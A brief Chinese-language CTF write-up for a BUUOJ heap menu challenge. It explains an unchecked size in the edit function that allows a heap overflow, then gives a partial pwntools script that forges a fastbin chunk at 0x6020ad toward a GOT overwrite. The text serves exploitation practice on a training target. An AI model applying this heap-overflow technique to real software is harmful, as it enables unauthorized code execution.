做题先check找攻击手段,Partial RELRP ->修改got表
菜单题,直接找准delete看看有没有UAF。
UAF未果。
但是在Edit_heap中存在漏洞。
这里看起来是以为可以修改heap的size,其实这个size是用来对你的输入进行限制的。(栈溢出就在这里把size写的很大,方便我们写入)
而且这个程序写的也有点问题。 它会让你修改chunk的信息域
所以 wp
from pwn import *
sh = remote("node4.buuoj.cn","26279")
sh.sendafter('Your choice :','1\n') #create 0 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
sh.sendafter('Your choice :','1\n') #create 1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
sh.sendafter('Your choice :','3\n') # free 1
sh.sendafter('Index :','1\n')
x = p64(0x0) * 13 + p64(0x71) + p64(0x6020ad) + p64(0x0) #create fake chunk
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)
sh.sendafter('Your choice :','1\n') #create 1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')